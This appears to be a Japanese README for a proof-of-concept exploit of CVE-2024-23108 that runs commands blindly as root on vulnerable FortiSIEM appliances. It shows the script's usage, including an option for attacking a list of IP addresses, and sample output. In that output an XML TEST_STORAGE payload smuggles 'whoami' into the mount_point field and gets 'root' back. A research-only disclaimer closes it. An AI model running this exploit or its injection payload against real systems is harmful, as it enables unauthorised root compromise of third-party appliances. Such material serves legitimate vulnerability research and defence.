
CVE-2024-23108 用の POC イテレーション。リスト入力に -l を使用可能
脆弱なFortiSIEMアプライアンス上でrootとしてコマンドを盲目的に実行するための概念実証エクスプロイトです。 リストを指定するオプションを追加し、色付けも施しました。 オリジナル(およびすべての功績)はhorizon3に帰属します(下記のブログ記事を参照)。
根本原因と侵害の指標(IOC)はこちら: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive
python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST File containing list of IP addresses
-p PORT, --port PORT The port of the Phoenix Monitor service (default: 7900)
-c COMMAND, --command COMMAND
The command to blindly execute
python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>
python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>
python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami
[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
<server_ip>127.0.0.1</server_ip>
<mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'
このソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトのメンテナーは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。